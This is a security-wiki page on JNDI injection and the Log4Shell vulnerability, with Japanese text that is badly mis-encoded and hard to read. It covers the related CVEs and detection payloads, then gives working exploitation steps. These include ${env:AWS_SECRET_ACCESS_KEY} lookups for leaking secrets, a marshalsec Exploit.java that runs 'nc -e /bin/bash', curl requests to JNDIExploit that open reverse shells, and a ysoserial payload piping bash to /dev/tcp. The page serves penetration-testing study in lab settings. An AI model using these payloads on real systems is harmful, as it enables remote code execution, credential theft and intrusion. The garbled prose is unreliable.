JNDI - Java Naming and Directory Interface & Log4Shell
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
åºæ¬æ å ±
JNDIã¯1990幎代åŸåããJavaã«çµ±åãããŠããããã£ã¬ã¯ããªãµãŒãã¹ãšããŠæ©èœããJavaããã°ã©ã ãåœåã·ã¹ãã ãéããŠããŒã¿ããªããžã§ã¯ããèŠã€ããããšãå¯èœã«ããŸããããŸããŸãªãã£ã¬ã¯ããªãµãŒãã¹ããµãŒãã¹ãããã€ãã€ã³ã¿ãŒãã§ãŒã¹ïŒSPIïŒãä»ããŠãµããŒããããªã¢ãŒãJavaãªããžã§ã¯ããå«ãç°ãªãã·ã¹ãã ããããŒã¿ãååŸã§ããŸããäžè¬çãªSPIã«ã¯CORBA COSãJava RMI RegistryãLDAPããããŸãã
JNDIåœååç §
Javaãªããžã§ã¯ãã¯JNDIåœååç §ã䜿çšããŠä¿åããã³ååŸã§ããããã«ã¯2ã€ã®åœ¢åŒããããŸãïŒ
- åç §ã¢ãã¬ã¹ïŒãªããžã§ã¯ãã®å Žæãæå®ããŸãïŒäŸïŒrmi://server/refïŒãæå®ãããã¢ãã¬ã¹ããçŽæ¥ååŸã§ããŸãã
- ãªã¢ãŒããã¡ã¯ããªïŒãªã¢ãŒããã¡ã¯ããªã¯ã©ã¹ãåç §ããŸããã¢ã¯ã»ã¹ããããšãã¯ã©ã¹ã¯ãªã¢ãŒãã®å ŽæããããŠã³ããŒããããã€ã³ã¹ã¿ã³ã¹åãããŸãã
ãããããã®ã¡ã«ããºã ã¯æªçšãããå¯èœæ§ããããä»»æã®ã³ãŒãã®èªã¿èŸŒã¿ãšå®è¡ã«ã€ãªããå¯èœæ§ããããŸãã察çãšããŠïŒ
- RMIïŒJDK 7u21以éãããã©ã«ãã§
java.rmi.server.useCodeabseOnly = trueãèšå®ããããªã¢ãŒããªããžã§ã¯ãã®èªã¿èŸŒã¿ãå¶éãããŸããã»ãã¥ãªãã£ãããŒãžã£ãŒã¯ãèªã¿èŸŒãããšãã§ãããã®ãããã«å¶éããŸãã - LDAPïŒJDK 6u141ã7u131ã8u121以éãããã©ã«ãã§
com.sun.jndi.ldap.object.trustURLCodebase = falseãèšå®ããããªã¢ãŒãã§èªã¿èŸŒãŸããJavaãªããžã§ã¯ãã®å®è¡ããããã¯ãããŸããtrueã«èšå®ãããšãã»ãã¥ãªãã£ãããŒãžã£ãŒã®ç£èŠãªãã«ãªã¢ãŒãã³ãŒãã®å®è¡ãå¯èœã«ãªããŸãã - CORBAïŒç¹å®ã®ããããã£ã¯ãããŸããããã»ãã¥ãªãã£ãããŒãžã£ãŒã¯åžžã«ã¢ã¯ãã£ãã§ãã
ããããJNDIãªã³ã¯ã解決ãã責任ãæã€Naming Managerã¯ãçµã¿èŸŒã¿ã®ã»ãã¥ãªãã£ã¡ã«ããºã ãæ¬ åŠããŠãããä»»æã®ãœãŒã¹ãããªããžã§ã¯ããååŸã§ããå¯èœæ§ããããŸããããã¯ãRMIãLDAPãCORBAã®ä¿è·ãåé¿ãããä»»æã®Javaãªããžã§ã¯ãã®èªã¿èŸŒã¿ããæ¢åã®ã¢ããªã±ãŒã·ã§ã³ã³ã³ããŒãã³ãïŒã¬ãžã§ããïŒãæªçšããŠæªæã®ããã³ãŒããå®è¡ãããªã¹ã¯ããããããŸãã
æªçšå¯èœãªURLã®äŸã«ã¯ä»¥äžãå«ãŸããŸãïŒ
- rmi://attacker-server/bar
- ldap://attacker-server/bar
- iiop://attacker-server/bar
ä¿è·ããã£ãŠããJNDIãä¿¡é Œã§ããªããœãŒã¹ããèªã¿èŸŒãããšã«å¯Ÿããä¿è·ãæ¬ åŠããŠãããããè匱æ§ãæ®ããŸãã
JNDIã®äŸ
.png)
**PROVIDER_URL**ãèšå®ããŠããŠããã«ãã¯ã¢ããã§ç°ãªããã®ãæå®ããããšãã§ããã¢ã¯ã»ã¹ãããŸãïŒctx.lookup("<attacker-controlled-url>")ããããæ»æè
ã圌ã®å¶åŸ¡ããã·ã¹ãã ããä»»æã®ãªããžã§ã¯ããèªã¿èŸŒãããã«æªçšãããã®ã§ãã
CORBAã®æŠèŠ
CORBAïŒCommon Object Request Broker ArchitectureïŒã¯ããªã¢ãŒããªããžã§ã¯ããäžæã«èå¥ããããã«**Interoperable Object Reference (IOR)**ã䜿çšããŸãããã®åç §ã«ã¯ã以äžã®ãããªéèŠãªæ å ±ãå«ãŸããŸãïŒ
- ã¿ã€ãIDïŒã€ã³ã¿ãŒãã§ãŒã¹ã®äžæã®èå¥åã
- ã³ãŒãããŒã¹ïŒã¹ã¿ãã¯ã©ã¹ãååŸããããã®URLã
ç¹ã«ãCORBAã¯æ¬è³ªçã«è匱ã§ã¯ãããŸãããã»ãã¥ãªãã£ã確ä¿ããããã«ã¯éåžžã以äžãå¿ èŠã§ãïŒ
- ã»ãã¥ãªãã£ãããŒãžã£ãŒã®ã€ã³ã¹ããŒã«ã
- ã»ãã¥ãªãã£ãããŒãžã£ãŒãæ§æããŠãæœåšçã«æªæã®ããã³ãŒãããŒã¹ãžã®æ¥ç¶ãèš±å¯ããŸããããã¯ä»¥äžãéããŠå®çŸã§ããŸãïŒ
- ãœã±ããã®æš©éãäŸïŒ
permissions java.net.SocketPermission "*:1098-1099", "connect";ã - ãã¡ã€ã«èªã¿åãæš©éãæ®éçã«ïŒ
permission java.io.FilePermission "<<ALL FILES>>", "read";ïŒãŸãã¯æªæã®ãããã¡ã€ã«ãé 眮ãããå¯èœæ§ã®ããç¹å®ã®ãã£ã¬ã¯ããªã«å¯ŸããŠã
ãã ããäžéšã®ãã³ããŒããªã·ãŒã¯ç·©ããã§ãããã©ã«ãã§ãããã®æ¥ç¶ãèš±å¯ããå ŽåããããŸãã
RMIã³ã³ããã¹ã
RMIïŒRemote Method InvocationïŒã«ã€ããŠã¯ãç¶æ³ã¯ããç°ãªããŸããCORBAãšåæ§ã«ãä»»æã®ã¯ã©ã¹ã®ããŠã³ããŒãã¯ããã©ã«ãã§å¶éãããŠããŸããRMIãæªçšããã«ã¯ãéåžžãã»ãã¥ãªãã£ãããŒãžã£ãŒãåé¿ããå¿ èŠããããŸããããã¯CORBAã§ãé¢é£ãã課é¡ã§ãã
LDAP
ãŸããæ€çŽ¢ãšã«ãã¯ã¢ãããåºå¥ããå¿
èŠããããŸãã
æ€çŽ¢ã¯ãldap://localhost:389/o=JNDITutorialã®ãããªURLã䜿çšããŠLDAPãµãŒããŒããJNDITutorialãªããžã§ã¯ããèŠã€ãããã®å±æ§ãååŸããŸãã
ã«ãã¯ã¢ããã¯ãååãµãŒãã¹ã®ããã®ãã®ã§ãååã«ãã€ã³ããããŠãããã®ãååŸããããšãç®çãšããŠããŸãã
LDAPæ€çŽ¢ãSearchControls.setReturningObjFlag()ãtrueã§åŒã³åºãããå Žåãè¿ããããªããžã§ã¯ãã¯åæ§ç¯ãããŸãã
ãããã£ãŠããããã®ãªãã·ã§ã³ãæ»æããæ¹æ³ã¯ããã€ããããŸãã
æ»æè
ã¯LDAPã¬ã³ãŒããæ±æãããã€ããŒããå°å
¥ããããšãã§ããŸããããã«ãããããããåéããã·ã¹ãã ã§å®è¡ãããŸãïŒLDAPãµãŒããŒã«ã¢ã¯ã»ã¹ã§ããå Žåãæ°åå°ã®ãã·ã³ã䟵害ããã®ã«éåžžã«äŸ¿å©ã§ãïŒããã®æªçšã®å¥ã®æ¹æ³ã¯ãLDAPæ€çŽ¢ã§MitMæ»æãå®è¡ããããšã§ãã
ã¢ããªãJNDI LDAP URLã解決ã§ããå Žåãæ€çŽ¢ãããLDAPãå¶åŸ¡ã§ãããšã¯ã¹ããã€ãïŒlog4shellïŒãè¿ãããšãã§ããŸãã
ãã·ãªã¢ã©ã€ãºãšã¯ã¹ããã€ã
.png)
ãšã¯ã¹ããã€ãã¯ã·ãªã¢ã©ã€ãºãããŠããããã·ãªã¢ã©ã€ãºãããŸããtrustURLCodebaseãtrueã®å Žåãæ»æè
ã¯ã³ãŒãããŒã¹ã«èªåã®ã¯ã©ã¹ãæäŸã§ããŸãããããã§ãªãå Žåã¯ã¯ã©ã¹ãã¹å
ã®ã¬ãžã§ãããæªçšããå¿
èŠããããŸãã
JNDIåç §ãšã¯ã¹ããã€ã
JavaFactoryåç §ã䜿çšããŠãã®LDAPãæ»æããæ¹ãç°¡åã§ãïŒ
.png)
Log4Shellè匱æ§
ãã®è匱æ§ã¯Log4jã«å°å
¥ãããŠãããç¹å¥ãªæ§æããµããŒãããŠããŸãããã®æ§æã¯${prefix:name}ã®åœ¢åŒã§ãprefixã¯ããŸããŸãªã«ãã¯ã¢ããã®1ã€ã§ãããnameã¯è©äŸ¡ãããã¹ããã®ã§ããäŸãã°ã${java:version}ã¯çŸåšå®è¡äžã®Javaã®ããŒãžã§ã³ã§ãã
LOG4J2-313ã¯jndiã«ãã¯ã¢ããæ©èœãå°å
¥ããŸããããã®æ©èœã«ãããJNDIãä»ããŠå€æ°ãååŸã§ããŸããéåžžãããŒã¯èªåçã«java:comp/env/ã§ãã¬ãã£ãã¯ã¹ãä»ããããŸãããã ããããŒèªäœã«**â:â**ãå«ãŸããŠããå Žåããã®ããã©ã«ãã®ãã¬ãã£ãã¯ã¹ã¯é©çšãããŸããã
ããŒã«**:ãååšããå ŽåãäŸãã°${jndi:ldap://example.com/a}ã§ã¯ãã¬ãã£ãã¯ã¹ããªã**ãLDAPãµãŒããŒããªããžã§ã¯ããã¯ãšãªããŸãããããã®ã«ãã¯ã¢ããã¯ãLog4jã®èšå®ããã°ãèšé²ãããéã«äœ¿çšã§ããŸãã
ãããã£ãŠãRCEãååŸããããã«å¿ èŠãªå¯äžã®ãã®ã¯ããŠãŒã¶ãŒã«ãã£ãŠå¶åŸ¡ãããæ å ±ãåŠçããè匱ãªããŒãžã§ã³ã®Log4jã§ãããããŠãããã¯Javaã¢ããªã±ãŒã·ã§ã³ãæ å ±ããã°ã«èšé²ããããã«åºã䜿çšãããŠããã©ã€ãã©ãªã§ããããïŒã€ã³ã¿ãŒãããã«æ¥ç¶ãããã¢ããªã±ãŒã·ã§ã³ãå«ãïŒãHTTPããããŒã®ãããªæ å ±ããã°ã«èšé²ããããã«log4jãéåžžã«äžè¬çã§ãããããããlog4jã¯HTTPæ å ±ã ãã§ãªããéçºè ã瀺ããä»»æã®å ¥åãããŒã¿ããã°ã«èšé²ããããã«äœ¿çšãããŸãã
Log4Shellé¢é£ã®CVEã®æŠèŠ
CVE-2021-44228 [Critical]
ãã®è匱æ§ã¯ãlog4j-coreã³ã³ããŒãã³ãã«ãããé倧ãªä¿¡é Œã§ããªããã·ãªã¢ã©ã€ãºã®æ¬ é¥ã§ãããããŒãžã§ã³2.0-beta9ãã2.14.1ã«åœ±é¿ãäžããŸããããã¯**ãªã¢ãŒãã³ãŒãå®è¡ïŒRCEïŒ**ãå¯èœã«ããæ»æè
ãã·ã¹ãã ãä¹ã£åãããšãå¯èœã«ããŸãããã®åé¡ã¯Alibaba Cloud Security Teamã®Chen Zhaojunã«ãã£ãŠå ±åãããããŸããŸãªApacheãã¬ãŒã ã¯ãŒã¯ã«åœ±é¿ãäžããŸããããŒãžã§ã³2.15.0ã§ã®æåã®ä¿®æ£ã¯äžå®å
šã§ãããé²åŸ¡ã®ããã®Sigmaã«ãŒã«ãå©çšå¯èœã§ãïŒã«ãŒã«1ãã«ãŒã«2ïŒã
CVE-2021-45046 [Critical]
æåã¯äœè©äŸ¡ã§ããããåŸã«é倧ãªãã®ã«åŒãäžãããããã®CVEã¯ãCVE-2021-44228ã®2.15.0ã§ã®äžå®å šãªä¿®æ£ã«èµ·å ãã**ãµãŒãã¹æåŠïŒDoSïŒ**ã®æ¬ é¥ã§ããããã©ã«ã以å€ã®æ§æã«åœ±é¿ãäžããæ»æè ãå·§åŠã«äœæãããã€ããŒããéããŠDoSæ»æãåŒãèµ·ããããšãå¯èœã«ããŸãããã€ãŒãã§ã¯ãã€ãã¹æ¹æ³ã玹ä»ãããŠããŸãããã®åé¡ã¯ãã¡ãã»ãŒãžã«ãã¯ã¢ãããã¿ãŒã³ãåé€ããããã©ã«ãã§JNDIãç¡å¹ã«ããããšã§ãããŒãžã§ã³2.16.0ããã³2.12.2ã§è§£æ±ºãããŸããã
CVE-2021-4104 [High]
Log4j 1.xããŒãžã§ã³ã«åœ±é¿ãäžããJMSAppenderã䜿çšããŠããéããã©ã«ãæ§æã®ãã®CVEã¯ãä¿¡é Œã§ããªããã·ãªã¢ã©ã€ãºã®æ¬ é¥ã§ãã1.xãã©ã³ãã«ã¯ä¿®æ£ããªãããµããŒããçµäºããŠãããããlog4j-core 2.17.0ãžã®ã¢ããã°ã¬ãŒããæšå¥šãããŸãã
CVE-2021-42550 [Moderate]
ãã®è匱æ§ã¯ãLog4j 1.xã®åŸç¶ã§ããLogbackãã®ã³ã°ãã¬ãŒã ã¯ãŒã¯ã«åœ±é¿ãäžããŸãã以åã¯å®å šã ãšèããããŠããŸãããããã¬ãŒã ã¯ãŒã¯ãè匱ã§ããããšã倿ããåé¡ã«å¯ŸåŠããããã«æ°ããããŒãžã§ã³ïŒ1.3.0-alpha11ããã³1.2.9ïŒããªãªãŒã¹ãããŸããã
CVE-2021-45105 [High]
Log4j 2.16.0ã«ã¯DoSã®æ¬ é¥ãå«ãŸããŠãããCVEãä¿®æ£ããããã«log4j 2.17.0ããªãªãŒã¹ãããŸããã詳现ã¯BleepingComputerã®å ±åã«ãããŸãã
CVE-2021-44832
log4jããŒãžã§ã³2.17ã«åœ±é¿ãäžãããã®CVEã¯ãæ»æè ãlog4jã®æ§æãã¡ã€ã«ãå¶åŸ¡ããå¿ èŠããããŸããããã¯ãæ§æãããJDBCAppenderãä»ããŠä»»æã®ã³ãŒãå®è¡ã®å¯èœæ§ãå«ã¿ãŸãã詳现ã¯Checkmarxã®ããã°æçš¿ã«ãããŸãã
Log4Shellã®æªçš
çºèŠ
ãã®è匱æ§ã¯ãä¿è·ãããŠããªãå Žåãéåžžã«ç°¡åã«çºèŠã§ããŸãããªããªãããã€ããŒãã§æå®ããã¢ãã¬ã¹ã«å°ãªããšãDNSãªã¯ãšã¹ããéä¿¡ããããã§ãããããã£ãŠã以äžã®ãããªãã€ããŒããèããããŸãïŒ
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}ïŒcanarytokens.comã䜿çšïŒ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}ïŒinteractshã䜿çšïŒ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}ïŒBurp Suiteã䜿çšïŒ${jndi:ldap://2j4ayo.dnslog.cn}ïŒdnslogã䜿çšïŒ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}ïŒhuntressã䜿çšïŒ
DNSãªã¯ãšã¹ããåä¿¡ããããããšãã£ãŠãã¢ããªã±ãŒã·ã§ã³ãæªçšå¯èœã§ãããšã¯éããªãïŒãŸãã¯è匱ã§ãããšã¯éããªãïŒããšã«æ³šæããŠãã ãããæªçšã詊ã¿ãå¿ èŠããããŸãã
Note
ããŒãžã§ã³2.15ãæªçšããã«ã¯ãlocalhostãã§ãã¯ã®ãã€ãã¹ã远å ããå¿ èŠããããŸãïŒ${jndi:ldap://127.0.0.1#âŠ}
ããŒã«ã«çºèŠ
以äžã®ã³ãã³ãã§ããŒã«ã«ã®è匱ãªããŒãžã§ã³ã®ã©ã€ãã©ãªãæ€çŽ¢ããŸãïŒ
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
æ€èšŒ
åè¿°ã®ãã©ãããã©ãŒã ã®ããã€ãã¯ããªã¯ãšã¹ãæã«ãã°ã«èšé²ããã倿°ããŒã¿ãæ¿å
¥ããããšãèš±å¯ããŸãã
ããã¯2ã€ã®ç®çã«éåžžã«åœ¹ç«ã¡ãŸãïŒ
- è匱æ§ãæ€èšŒãããã
- è匱æ§ãæªçšããŠæ å ±ãæœåºãããã
äŸãã°ã次ã®ãããªãªã¯ãšã¹ããè¡ãããšãã§ããŸãïŒ
ãŸãã¯${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}ã®ããã«ãããç°å¢å€æ°ã®å€ãæã€DNSãªã¯ãšã¹ããåä¿¡ãããã°ãã¢ããªã±ãŒã·ã§ã³ãè匱ã§ããããšãããããŸãã
ä»ã«æŒæŽ©ã詊ã¿ãããšãã§ããæ å ±ïŒ
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Any other env variable name that could store sensitive information
RCEæ å ±
Note
JDKããŒãžã§ã³6u141ã7u131ããŸãã¯8u121以äžã§åäœããŠãããã¹ãã¯ãLDAPã¯ã©ã¹ããŒãã£ã³ã°æ»æãã¯ã¿ãŒããä¿è·ãããŠããŸããããã¯ã
com.sun.jndi.ldap.object.trustURLCodebaseãããã©ã«ãã§ç¡å¹åãããŠããããã§ãããã«ããJNDIã¯LDAPãä»ããŠãªã¢ãŒãã³ãŒãããŒã¹ãããŒãã§ããªããªããŸãããã ãããããã®ããŒãžã§ã³ã¯ãã·ãªã¢ã©ã€ãºæ»æãã¯ã¿ãŒã«å¯ŸããŠä¿è·ãããŠããªãããšã«æ³šæããããšãéèŠã§ãããããã®é«ãJDKããŒãžã§ã³ãæªçšããããšããæ»æè ã¯ãJavaã¢ããªã±ãŒã·ã§ã³å ã§ä¿¡é Œãããã¬ãžã§ãããå©çšããå¿ èŠããããŸããysoserialãJNDIExploitã®ãããªããŒã«ããã®ç®çã§ãã䜿çšãããŸããäžæ¹ãäœãJDKããŒãžã§ã³ãæªçšããã®ã¯æ¯èŒçç°¡åã§ããããã®ããŒãžã§ã³ã¯ä»»æã®ã¯ã©ã¹ãããŒãããŠå®è¡ããããã«æäœã§ããŸãã
詳现æ å ±ïŒRMIããã³CORBAãã¯ã¿ãŒã®å¶éãªã©ïŒã«ã€ããŠã¯ãåã®JNDIåœåãªãã¡ã¬ã³ã¹ã»ã¯ã·ã§ã³ã確èªããŠãã ãããŸãã¯https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/
RCE - Marshalsecãšã«ã¹ã¿ã ãã€ããŒã
ãã®å 容ã¯THMããã¯ã¹ã§ãã¹ãã§ããŸãïŒhttps://tryhackme.com/room/solar
ããŒã«marshalsecã䜿çšããŸãïŒjarããŒãžã§ã³ã¯ãã¡ãã§å ¥æå¯èœã§ãïŒããã®ã¢ãããŒãã¯ãæ¥ç¶ãäºæ¬¡HTTPãµãŒããŒã«ãªãã€ã¬ã¯ãããLDAPãªãã¡ã©ã«ãµãŒããŒã確ç«ããŸãã
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
ã¿ãŒã²ããã«ãªããŒã¹ã·ã§ã«ã³ãŒããèªã¿èŸŒãŸããããã«ã以äžã®å
容㧠Exploit.java ãšããååã®Javaãã¡ã€ã«ãäœæããŸã:
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Javaãã¡ã€ã«ãã¯ã©ã¹ãã¡ã€ã«ã«ã³ã³ãã€ã«ããã«ã¯ã次ã®ã³ãã³ãã䜿çšããŸã: javac Exploit.java -source 8 -target 8ãæ¬¡ã«ãã¯ã©ã¹ãã¡ã€ã«ãå«ããã£ã¬ã¯ããªã§HTTPãµãŒããŒãèµ·åããŸã: python3 -m http.serverãmarshalsec LDAPãµãŒããŒããã®HTTPãµãŒããŒãåç
§ããŠããããšã確èªããŠãã ããã
è匱ãªãŠã§ããµãŒããŒã§ãšã¯ã¹ããã€ãã¯ã©ã¹ã®å®è¡ãããªã¬ãŒããã«ã¯ã次ã®ãããªãã€ããŒããéä¿¡ããŸã:
${jndi:ldap://<LDAP_IP>:1389/Exploit}
泚æ: ãã®ãšã¯ã¹ããã€ãã¯ãJavaã®èšå®ãLDAPãä»ããŠãªã¢ãŒãã³ãŒãããŒã¹ã®èªã¿èŸŒã¿ãèš±å¯ããããšã«äŸåããŠããŸãããããèš±å¯ãããŠããªãå Žåã¯ãä»»æã®ã³ãŒãå®è¡ã®ããã«ä¿¡é Œãããã¯ã©ã¹ãå©çšããããšãæ€èšããŠãã ããã
RCE - JNDIExploit
Note
äœããã®çç±ã§ãèè ã¯log4shellã®çºèŠåŸã«ãã®ãããžã§ã¯ããgithubããåé€ããŸããããã£ãã·ã¥ãããããŒãžã§ã³ã¯https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2ã§èŠã€ããããšãã§ããŸãããèè ã®æ±ºå®ãå°éãããå Žåã¯ããã®è匱æ§ãå©çšããããã«å¥ã®æ¹æ³ã䜿çšããŠãã ããã
ããã«ããŠã§ã€ããã¯ãã·ã³ã§ã¯ãœãŒã¹ã³ãŒããèŠã€ããããšãã§ããªãããããœãŒã¹ã³ãŒããåæããããå®è¡ããŠããå 容ãããããªãç¶æ ã§jarãå®è¡ããŠãã ããã
ãã®äŸã§ã¯ãããŒã8080ã§log4shellã«è匱ãªãŠã§ããµãŒããŒãå®è¡ããã ãã§ã: https://github.com/christophetd/log4shell-vulnerable-app (READMEã«ã¯å®è¡æ¹æ³ãèšèŒãããŠããŸã)ããã®è匱ãªã¢ããªã¯ãHTTPãªã¯ãšã¹ãããããŒ_X-Api-Version_ã®å 容ãè匱ãªããŒãžã§ã³ã®log4shellã§ãã°ã«èšé²ããŠããŸãã
次ã«ãJNDIExploitã®jarãã¡ã€ã«ãããŠã³ããŒãããæ¬¡ã®ã³ãã³ãã§å®è¡ã§ããŸã:
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
ã³ãŒããæ°åéèªããšãcom.feihong.ldap.LdapServer ãš com.feihong.ldap.HTTPServer ã§ LDAP ãš HTTP ãµãŒããŒãã©ã®ããã«äœæãããã ãããããŸããLDAP ãµãŒããŒã¯ãã©ã®ãã€ããŒããæäŸããå¿
èŠãããããçè§£ãã被害è
ã HTTP ãµãŒããŒã«ãªãã€ã¬ã¯ãããŸããHTTP ãµãŒããŒã¯ãšã¯ã¹ããã€ããæäŸããŸãã
com.feihong.ldap.gadgets ã§ã¯ãç¹å®ã®ã¬ãžã§ãããèŠã€ãããç®çã®ã¢ã¯ã·ã§ã³ãå®è¡ããããã«äœ¿çšã§ããŸãïŒä»»æã®ã³ãŒããå®è¡ããå¯èœæ§ããããŸãïŒãcom.feihong.ldap.template ã§ã¯ããšã¯ã¹ããã€ããçæããããŸããŸãªãã³ãã¬ãŒãã¯ã©ã¹ãèŠãããšãã§ããŸãã
å©çšå¯èœãªãã¹ãŠã®ãšã¯ã¹ããã€ã㯠java -jar JNDIExploit-1.2-SNAPSHOT.jar -u ã§ç¢ºèªã§ããŸããããã€ãã®äŸ¿å©ãªãã®ã¯æ¬¡ã®ãšããã§ãïŒ
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
ãããã£ãŠãç§ãã¡ã®äŸã§ã¯ããã§ã«ãã®è匱ãªDockerã¢ããªãå®è¡ãããŠããŸãããããæ»æããã«ã¯ïŒ
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
æ»æãéä¿¡ãããšãJNDIExploit-1.2-SNAPSHOT.jarãå®è¡ããã¿ãŒããã«ã«åºåã衚瀺ãããŸãã
ä»ã®ãšã¯ã¹ããã€ããªãã·ã§ã³ã«ã€ããŠã¯ãjava -jar JNDIExploit-1.2-SNAPSHOT.jar -uã確èªããããšãå¿ããªãã§ãã ãããããã«ãå¿
èŠã«å¿ããŠLDAPããã³HTTPãµãŒããŒã®ããŒãã倿Žã§ããŸãã
RCE - JNDI-Exploit-Kit
åã®ãšã¯ã¹ããã€ããšåæ§ã«ãJNDI-Exploit-Kitã䜿çšããŠãã®è匱æ§ãæªçšããããšãã§ããŸãã
被害è
ã«éä¿¡ããããã®URLãçæããã«ã¯ã次ã®ã³ãã³ããå®è¡ããŸã:
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
ãã®æ»æã¯ã«ã¹ã¿ã çæãããJavaãªããžã§ã¯ãã䜿çšããŠãããTHMãœãŒã©ãŒã«ãŒã ã®ãããªã©ãã§æ©èœããŸããããããäžè¬çã«ã¯æ©èœããŸããïŒããã©ã«ãã§ã¯Javaã¯LDAPã䜿çšããŠãªã¢ãŒãã³ãŒãããŒã¹ãããŒãããããã«æ§æãããŠããªãããïŒããã¯ãä¿¡é Œãããã¯ã©ã¹ãæªçšããŠä»»æã®ã³ãŒããå®è¡ããŠããªãããã ãšæããŸãã
RCE - JNDI-Injection-Exploit-Plus
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus ã¯ãåäœããJNDIãªã³ã¯ãçæããRMIãµãŒããŒãLDAPãµãŒããŒãHTTPãµãŒããŒãèµ·åããããšã«ãã£ãŠããã¯ã°ã©ãŠã³ããµãŒãã¹ãæäŸããããã®å¥ã®ããŒã«ã§ãã\
RCE - ysoserial & JNDI-Exploit-Kit
ãã®ãªãã·ã§ã³ã¯ãç¹å®ã®ã¯ã©ã¹ã®ã¿ãä¿¡é Œããããã«æ§æãããJavaããŒãžã§ã³ãæ»æããã®ã«éåžžã«äŸ¿å©ã§ãããããã£ãŠãysoserialã¯ãä»»æã®ã³ãŒããå®è¡ããããã®ã¬ãžã§ãããšããŠäœ¿çšã§ããä¿¡é Œãããã¯ã©ã¹ã®ã·ãªã¢ã«åãçæããããã«äœ¿çšãããŸãïŒysoserialã«ãã£ãŠæªçšãããä¿¡é Œãããã¯ã©ã¹ã¯ããšã¯ã¹ããã€ããæ©èœããããã«è¢«å®³è ã®Javaããã°ã©ã ã«ãã£ãŠäœ¿çšãããå¿ èŠããããŸãïŒã
ysoserialãŸãã¯ysoserial-modifiedã䜿çšãããšãJNDIã«ãã£ãŠããŠã³ããŒãããããã·ãªã¢ã©ã€ãºãšã¯ã¹ããã€ããäœæã§ããŸãïŒ
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
